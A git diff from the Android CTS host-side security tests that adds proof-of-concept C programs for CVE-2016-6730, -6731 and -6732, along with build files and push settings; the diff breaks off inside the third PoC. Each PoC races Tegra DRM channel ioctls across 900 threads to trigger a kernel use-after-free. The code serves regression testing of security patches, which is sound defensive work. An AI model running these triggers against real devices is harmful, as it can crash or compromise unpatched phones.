+        <option name="push" value="CVE-2016-8460->/data/local/tmp/CVE-2016-8460" />
+        <option name="push" value="CVE-2017-0403->/data/local/tmp/CVE-2017-0403" />
+        <option name="push" value="CVE-2017-0404->/data/local/tmp/CVE-2017-0404" />
+        <option name="push" value="CVE-2016-8482->/data/local/tmp/CVE-2016-8482" />
+        <option name="push" value="CVE-2017-0429->/data/local/tmp/CVE-2017-0429" />
+        <option name="push" value="CVE-2016-6730->/data/local/tmp/CVE-2016-6730" />
+        <option name="push" value="CVE-2016-6731->/data/local/tmp/CVE-2016-6731" />
+        <option name="push" value="CVE-2016-6732->/data/local/tmp/CVE-2016-6732" />
+        <option name="push" value="CVE-2016-6733->/data/local/tmp/CVE-2016-6733" />
+        <option name="push" value="CVE-2016-6734->/data/local/tmp/CVE-2016-6734" />
+        <option name="push" value="CVE-2016-6735->/data/local/tmp/CVE-2016-6735" />
+        <option name="push" value="CVE-2016-6736->/data/local/tmp/CVE-2016-6736" />
+        <option name="push" value="CVE-2016-8424->/data/local/tmp/CVE-2016-8424" />
+        <option name="push" value="CVE-2016-8425->/data/local/tmp/CVE-2016-8425" />
+        <option name="push" value="CVE-2016-8426->/data/local/tmp/CVE-2016-8426" />
+        <option name="push" value="CVE-2016-8427->/data/local/tmp/CVE-2016-8427" />
+        <option name="push" value="CVE-2016-8428->/data/local/tmp/CVE-2016-8428" />
+        <option name="push" value="CVE-2016-8429->/data/local/tmp/CVE-2016-8429" />
+        <option name="push" value="CVE-2016-8430->/data/local/tmp/CVE-2016-8430" />
+        <option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
+        <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
+        <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
+        <option name="push" value="CVE-2016-8435->/data/local/tmp/CVE-2016-8435" />
+        <option name="push" value="CVE-2016-9120->/data/local/tmp/CVE-2016-9120" />
+        <option name="append-bitness" value="true" />
+    </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsSecurityHostTestCases.jar" />
         <option name="runtime-hint" value="32s" />
diff --git a/hostsidetests/security/res/ab3857191_file_contexts.bin b/hostsidetests/security/res/ab3857191_file_contexts.bin
deleted file mode 100644
index 881c706..0000000
--- a/hostsidetests/security/res/ab3857191_file_contexts.bin
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/security/res/ab3857191_service_contexts b/hostsidetests/security/res/ab3857191_service_contexts
deleted file mode 100644
index 1e50d87..0000000
--- a/hostsidetests/security/res/ab3857191_service_contexts
+++ /dev/null
@@ -1,149 +0,0 @@
-#line 1 "system/sepolicy/service_contexts"
-accessibility                             u:object_r:accessibility_service:s0
-account                                   u:object_r:account_service:s0
-activity                                  u:object_r:activity_service:s0
-alarm                                     u:object_r:alarm_service:s0
-android.os.UpdateEngineService            u:object_r:update_engine_service:s0
-android.security.keystore                 u:object_r:keystore_service:s0
-android.service.gatekeeper.IGateKeeperService    u:object_r:gatekeeper_service:s0
-appops                                    u:object_r:appops_service:s0
-appwidget                                 u:object_r:appwidget_service:s0
-assetatlas                                u:object_r:assetatlas_service:s0
-audio                                     u:object_r:audio_service:s0
-backup                                    u:object_r:backup_service:s0
-batteryproperties                         u:object_r:batteryproperties_service:s0
-batterystats                              u:object_r:batterystats_service:s0
-battery                                   u:object_r:battery_service:s0
-bluetooth_manager                         u:object_r:bluetooth_manager_service:s0
-bluetooth                                 u:object_r:bluetooth_service:s0
-carrier_config                            u:object_r:radio_service:s0
-clipboard                                 u:object_r:clipboard_service:s0
-com.android.net.IProxyService             u:object_r:IProxyService_service:s0
-commontime_management                     u:object_r:commontime_management_service:s0
-common_time.clock                         u:object_r:mediaserver_service:s0
-common_time.config                        u:object_r:mediaserver_service:s0
-connectivity                              u:object_r:connectivity_service:s0
-connmetrics                               u:object_r:connmetrics_service:s0
-consumer_ir                               u:object_r:consumer_ir_service:s0
-content                                   u:object_r:content_service:s0
-contexthub_service                        u:object_r:contexthub_service:s0
-country_detector                          u:object_r:country_detector_service:s0
-cpuinfo                                   u:object_r:cpuinfo_service:s0
-dbinfo                                    u:object_r:dbinfo_service:s0
-device_policy                             u:object_r:device_policy_service:s0
-deviceidle                                u:object_r:deviceidle_service:s0
-devicestoragemonitor                      u:object_r:devicestoragemonitor_service:s0
-diskstats                                 u:object_r:diskstats_service:s0
-display.qservice                          u:object_r:surfaceflinger_service:s0
-display                                   u:object_r:display_service:s0
-dns_listener                              u:object_r:dns_listener_service:s0
-DockObserver                              u:object_r:DockObserver_service:s0
-dreams                                    u:object_r:dreams_service:s0
-drm.drmManager                            u:object_r:drmserver_service:s0
-dropbox                                   u:object_r:dropbox_service:s0
-ethernet                                  u:object_r:ethernet_service:s0
-fingerprint                               u:object_r:fingerprint_service:s0
-android.hardware.fingerprint.IFingerprintDaemon u:object_r:fingerprintd_service:s0
-gfxinfo                                   u:object_r:gfxinfo_service:s0
-graphicsstats                             u:object_r:graphicsstats_service:s0
-gpu                                       u:object_r:gpu_service:s0
-hardware                                  u:object_r:hardware_service:s0
-hardware_properties                       u:object_r:hardware_properties_service:s0
-hdmi_control                              u:object_r:hdmi_control_service:s0
-inputflinger                              u:object_r:inputflinger_service:s0
-input_method                              u:object_r:input_method_service:s0
-input                                     u:object_r:input_service:s0
-iphonesubinfo_msim                        u:object_r:radio_service:s0
-iphonesubinfo2                            u:object_r:radio_service:s0
-iphonesubinfo                             u:object_r:radio_service:s0
-ims                                       u:object_r:radio_service:s0
-imms                                      u:object_r:imms_service:s0
-isms_msim                                 u:object_r:radio_service:s0
-isms2                                     u:object_r:radio_service:s0
-isms                                      u:object_r:radio_service:s0
-isub                                      u:object_r:radio_service:s0
-jobscheduler                              u:object_r:jobscheduler_service:s0
-launcherapps                              u:object_r:launcherapps_service:s0
-location                                  u:object_r:location_service:s0
-lock_settings                             u:object_r:lock_settings_service:s0
-media.audio_flinger                       u:object_r:audioserver_service:s0
-media.audio_policy                        u:object_r:audioserver_service:s0
-media.camera                              u:object_r:cameraserver_service:s0
-media.camera.proxy                        u:object_r:cameraproxy_service:s0
-media.log                                 u:object_r:audioserver_service:s0
-media.player                              u:object_r:mediaserver_service:s0
-media.extractor                           u:object_r:mediaextractor_service:s0
-media.codec                               u:object_r:mediacodec_service:s0
-media.resource_manager                    u:object_r:mediaserver_service:s0
-media.radio                               u:object_r:audioserver_service:s0
-media.sound_trigger_hw                    u:object_r:audioserver_service:s0
-media.drm                                 u:object_r:mediadrmserver_service:s0
-media_projection                          u:object_r:media_projection_service:s0
-media_resource_monitor                    u:object_r:media_session_service:s0
-media_router                              u:object_r:media_router_service:s0
-media_session                             u:object_r:media_session_service:s0
-meminfo                                   u:object_r:meminfo_service:s0
-midi                                      u:object_r:midi_service:s0
-mount                                     u:object_r:mount_service:s0
-netd                                      u:object_r:netd_service:s0
-netpolicy                                 u:object_r:netpolicy_service:s0
-netstats                                  u:object_r:netstats_service:s0
-network_management                        u:object_r:network_management_service:s0
-network_score                             u:object_r:network_score_service:s0
-network_time_update_service               u:object_r:network_time_update_service:s0
-nfc                                       u:object_r:nfc_service:s0
-notification                              u:object_r:notification_service:s0
-otadexopt                                 u:object_r:otadexopt_service:s0
-package                                   u:object_r:package_service:s0
-permission                                u:object_r:permission_service:s0
-persistent_data_block                     u:object_r:persistent_data_block_service:s0
-phone_msim                                u:object_r:radio_service:s0
-phone1                                    u:object_r:radio_service:s0
-phone2                                    u:object_r:radio_service:s0
-phone                                     u:object_r:radio_service:s0
-pinner                                    u:object_r:pinner_service:s0
-power                                     u:object_r:power_service:s0
-print                                     u:object_r:print_service:s0
-processinfo                               u:object_r:processinfo_service:s0
-procstats                                 u:object_r:procstats_service:s0
-radio.phonesubinfo                        u:object_r:radio_service:s0
-radio.phone                               u:object_r:radio_service:s0
-radio.sms                                 u:object_r:radio_service:s0
-recovery                                  u:object_r:recovery_service:s0
-restrictions                              u:object_r:restrictions_service:s0
-rttmanager                                u:object_r:rttmanager_service:s0
-samplingprofiler                          u:object_r:samplingprofiler_service:s0
-scheduling_policy                         u:object_r:scheduling_policy_service:s0
-search                                    u:object_r:search_service:s0
-sensorservice                             u:object_r:sensorservice_service:s0
-serial                                    u:object_r:serial_service:s0
-servicediscovery                          u:object_r:servicediscovery_service:s0
-shortcut                                  u:object_r:shortcut_service:s0
-simphonebook_msim                         u:object_r:radio_service:s0
-simphonebook2                             u:object_r:radio_service:s0
-simphonebook                              u:object_r:radio_service:s0
-sip                                       u:object_r:radio_service:s0
-soundtrigger                              u:object_r:voiceinteraction_service:s0
-statusbar                                 u:object_r:statusbar_service:s0
-SurfaceFlinger                            u:object_r:surfaceflinger_service:s0
-task                                      u:object_r:task_service:s0
-telecom                                   u:object_r:telecom_service:s0
-telephony.registry                        u:object_r:registry_service:s0
-textservices                              u:object_r:textservices_service:s0
-trust                                     u:object_r:trust_service:s0
-tv_input                                  u:object_r:tv_input_service:s0
-uimode                                    u:object_r:uimode_service:s0
-updatelock                                u:object_r:updatelock_service:s0
-usagestats                                u:object_r:usagestats_service:s0
-usb                                       u:object_r:usb_service:s0
-user                                      u:object_r:user_service:s0
-vibrator                                  u:object_r:vibrator_service:s0
-voiceinteraction                          u:object_r:voiceinteraction_service:s0
-vrmanager                                 u:object_r:vr_manager_service:s0
-wallpaper                                 u:object_r:wallpaper_service:s0
-webviewupdate                             u:object_r:webviewupdate_service:s0
-wifip2p                                   u:object_r:wifip2p_service:s0
-wifiscanner                               u:object_r:wifiscanner_service:s0
-wifi                                      u:object_r:wifi_service:s0
-window                                    u:object_r:window_service:s0
-*                                         u:object_r:default_android_service:s0
diff --git a/hostsidetests/security/securityPatch/Android.mk b/hostsidetests/security/securityPatch/Android.mk
new file mode 100644
index 0000000..41a41d0
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Android.mk
@@ -0,0 +1,17 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+include $(call all-subdir-makefiles)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6730/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6730/Android.mk
new file mode 100644
index 0000000..0c188b3
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6730/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-6730
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6730/poc.c b/hostsidetests/security/securityPatch/CVE-2016-6730/poc.c
new file mode 100644
index 0000000..bfcdb41
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6730/poc.c
@@ -0,0 +1,164 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+
+#define CLK_THREAD_NUM	900
+#define TRY_TIMES	CLK_THREAD_NUM
+#define DEV "/dev/dri/renderD129"
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+#define DRM_TEGRA_GET_CLK_CONSTRAINT	0x12
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+    volatile __u64 context;
+};
+
+struct drm_tegra_close_channel {
+    volatile __u64 context;
+};
+
+struct drm_tegra_constraint {
+	__u64 context;
+	__u32 index;
+	__u32 type;
+	__u32 rate;
+	__u32 pad;
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
+
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_GET_CLK_CONSTRAINT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_GET_CLK_CONSTRAINT, struct drm_tegra_constraint)
+int fd;
+pthread_t clk_thread_id[CLK_THREAD_NUM] = { 0 };
+
+volatile struct drm_tegra_open_channel open_c = { 0 };
+volatile struct drm_tegra_close_channel close_c = { 0 };
+volatile struct drm_tegra_constraint clk_c = { 0 };
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	if(ret == -1){
+	}
+	return ret;
+}
+
+static void prepare()
+{
+	open_c.client = HOST1X_CLASS_VIC;
+}
+
+void* clk_thread(void* no_use)
+{
+	set_affinity(1);
+
+	while(1){
+		ioctl(fd, DRM_IOCTL_TEGRA_GET_CLK_CONSTRAINT, &clk_c);
+	}
+}
+
+int main()
+{
+	int i, try_time = TRY_TIMES, ret;
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	/* open dev */
+	fd = open(DEV,O_RDONLY);
+	if(fd == -1){
+		return 0;
+	}
+
+	/* prepare ioctl cmd */
+	prepare();
+
+	/* create clk thread */
+	for(i = 0; i < CLK_THREAD_NUM; i++){
+		ret = pthread_create(clk_thread_id + i, NULL, clk_thread, NULL);
+		if(ret){
+			goto out_clk_thread;
+		}
+	}
+
+	while(try_time){
+		/* open */
+		ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
+		if(ret == 0){
+			try_time--;
+			/* set clk */
+			clk_c.context = open_c.context;
+			/* set close */
+			close_c.context = open_c.context;
+			usleep(500);
+			ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
+		}
+	}
+	
+out_clk_thread:
+	/* kill clk thread */
+	for(i = 0; i < CLK_THREAD_NUM; i++){
+			pthread_kill(clk_thread_id[i], SIGKILL);
+	}
+out_dev:
+	close(fd);
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6731/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6731/Android.mk
new file mode 100644
index 0000000..02db3e3
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6731/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-6731
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6731/poc.c b/hostsidetests/security/securityPatch/CVE-2016-6731/poc.c
new file mode 100644
index 0000000..d6cedfb
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6731/poc.c
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+
+#define CLK_THREAD_NUM	900
+#define TRY_TIMES	CLK_THREAD_NUM
+#define DEV "/dev/dri/renderD129"
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+#define DRM_TEGRA_SET_CLK_CONSTRAINT	0x13
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+    volatile __u64 context;
+};
+
+struct drm_tegra_close_channel {
+    volatile __u64 context;
+};
+
+struct drm_tegra_constraint {
+	__u64 context;
+	__u32 index;
+	__u32 type;
+	__u32 rate;
+	__u32 pad;
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
+
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_SET_CLK_CONSTRAINT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_SET_CLK_CONSTRAINT, struct drm_tegra_constraint)
+int fd;
+pthread_t clk_thread_id[CLK_THREAD_NUM] = { 0 };
+
+volatile struct drm_tegra_open_channel open_c = { 0 };
+volatile struct drm_tegra_close_channel close_c = { 0 };
+volatile struct drm_tegra_constraint clk_c = { 0 };
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	if(ret == -1){
+	}
+	return ret;
+}
+
+static void prepare()
+{
+	open_c.client = HOST1X_CLASS_VIC;
+}
+
+void* clk_thread(void* no_use)
+{
+	set_affinity(1);
+
+	while(1){
+		ioctl(fd, DRM_IOCTL_TEGRA_SET_CLK_CONSTRAINT, &clk_c);
+	}
+}
+
+int main()
+{
+	int i, try_time = TRY_TIMES, ret;
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	/* open dev */
+	fd = open(DEV,O_RDONLY);
+	if(fd == -1){
+		return 0;
+	}
+
+	/* prepare ioctl cmd */
+	prepare();
+
+	/* create clk thread */
+	for(i = 0; i < CLK_THREAD_NUM; i++){
+		ret = pthread_create(clk_thread_id + i, NULL, clk_thread, NULL);
+		if(ret){
+			goto out_clk_thread;
+		}
+	}
+
+	while(try_time){
+		/* open */
+		ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
+		if(ret == 0){
+			try_time--;
+			/* set clk */
+			clk_c.context = open_c.context;
+			/* set close */
+			close_c.context = open_c.context;
+			usleep(500);
+			ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
+		}
+	}
+        puts("ran 1");
+out_clk_thread:
+	/* kill clk thread */
+	for(i = 0; i < CLK_THREAD_NUM; i++){
+			pthread_kill(clk_thread_id[i], SIGKILL);
+	}
+out_dev:
+	close(fd);
+        puts("ran 2");
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6732/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6732/Android.mk
new file mode 100644
index 0000000..7b74ac1
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6732/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-6732
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6732/poc.c b/hostsidetests/security/securityPatch/CVE-2016-6732/poc.c
new file mode 100644
index 0000000..5b8ea8e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6732/poc.c
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+
+#define THREAD_NUM	900
+#define TRY_TIMES	900
+#define DEV "/dev/dri/renderD129"
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+        __u64 context;
+};
+
+struct drm_tegra_close_channel {
+        __u64 context;
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+
+int fd;
+pthread_t thread_id[THREAD_NUM] = { 0 };
+int thread_ret[THREAD_NUM] = { 0 };
+int futex_signal = 0;
+
+struct drm_tegra_open_channel open_c = { 0 };
+volatile struct drm_tegra_close_channel close_c = { 0 };
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	if(ret == -1){
+	}
+	return ret;
+}
+
+static void prepare()
+{
+	open_c.client = HOST1X_CLASS_VIC;
+}
+
+void* child(void* no_use)
+{
+	int ret = 1;
+	set_affinity(1);
+
+	while(ret){
+		ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
+	}
+        return NULL;
+}
+
+int main()
+{
+	int i, try_time = TRY_TIMES, ret;
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	/* open dev */
+	fd = open(DEV,O_RDONLY);
+	if(fd == -1){
+		return 0;
+	}
+
+	/* prepare ioctl cmd */
+	prepare();
+
+	/* create thread */
+	for(i = 0; i < THREAD_NUM; i++){
+		thread_ret[i] = pthread_create(thread_id + i, NULL, child, NULL);
+	}
+
+	while(try_time--){
+		/* open */
+		ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
+		if(ret){
+		}else{
+		}
+		/* close */
+		close_c.context = open_c.context;
+
+		/* swtich to child */
+		usleep(500);
+	}
+
+out_thread:
+	/* kill thread */
